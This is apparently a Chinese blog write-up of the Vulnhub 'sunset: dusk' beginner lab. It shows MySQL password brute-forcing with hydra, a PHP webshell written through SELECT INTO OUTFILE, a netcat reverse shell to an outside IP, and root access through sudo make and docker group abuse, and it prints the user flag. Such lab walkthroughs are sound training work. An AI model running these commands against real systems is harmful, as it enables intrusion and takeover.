【Vulnhub】Sunset:dusk--WriteUp

selph
selph
发布于 2020-07-16 / 633 阅读
0
0

【Vulnhub】Sunset:dusk--WriteUp

靶机信息

Name: sunset: dusk
Date release: 1 Dec 2019
Difficulty: Beginner
Task:boot2root

关键知识点、工具:

  • 信息收集
  • Mysql弱口令爆破
  • Mysql写入WebShell
  • WebShell反弹交互式shell
  • sudo滥用提权
  • 利用docker提权

渗透过程:

网络信息:

靶机IP:192.168.2.19

攻击机IP:192.168.2.20

信息收集

nmap -A -T5 192.168.2.19

image-20200716201048409

目标开放21,22,25,80,3306,8080端口。

80端口是apache2默认页面,dirb目录扫描没有收获。

8080端口是个web:

image-20200716201457794

有两张图片可以访问,以及得知了一个php的绝对路径。dirb目录扫描没有收获。

21,22,25端口目前信息还不足以进行相应的尝试。

mysql弱口令爆破

3306可能存在默认账号root的弱口令,使用hydra进行爆破尝试:

hydra -l root -P ../rockyou.txt 192.168.2.19 mysql

image-20200716202954818

mysql弱口令爆破参考资料: https://www.freebuf.com/news/162036.html

运气还不错,root账号密码是password。

mysql写入webshell

现在知道php的绝对路径,还知道mysql的账号密码,那么可以向目标写入webshell。

mysql远程连接:

mysql -h 192.168.2.19 -p3306 -u root -ppassword

mysql远程连接参考资料:https://www.cnblogs.com/gaoBlog/p/13152720.html

image-20200716203730993

写入一句话木马:

select "<?php system($_GET['s3lf']); ?>" into outfile '/var/tmp/selph.php';

由于我当前kali上没装菜刀蚁剑啥的,所以直接写成从GET方法获取命令了

这里不知道为啥,一执行命令就500,这里我把靶机重装了一遍就好了,现在靶机IP为192.168.2.21

通过GET参数执行命令:

image-20200716214702269

反弹shell

nc -c bash 123.207.145.80 443

image-20200716215311321

提权到dusk

cat /etc/passwd

得知用户名:dusk

sudo -l

image-20200716215705148

有三个命令可以免密码使用dusk账号执行:ping,make,sl

可sudo权限滥用命令查询:https://gtfobins.github.io/#

这里的make命令可以用来提权.

sudo -u dusk make -s --eval=$'x:\n\t-'"/bin/sh"

image-20200716230441515

提权到root

在dusk的shell下,不能执行sudo -l.

查看dusk账号信息:

id

image-20200716230610833

docker是使用root权限运行的,dusk在docker组里,那么可以使用docker执行命令来实现提权:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

alpine是体积超小的docker容器

image-20200716231329213

不知道为啥,python弹的交互shell里面打字都会变成双写(虽然也可以识别)但,只有把命令复制黏贴进去才能不是双写的,希望知道的老哥能够指点一二。

get flag

user flag:

# cat  /home/dusk/user.txt
08ebacf8f4e43f05b8b8b372df24235b

root flag:

image-20200716231729209


评论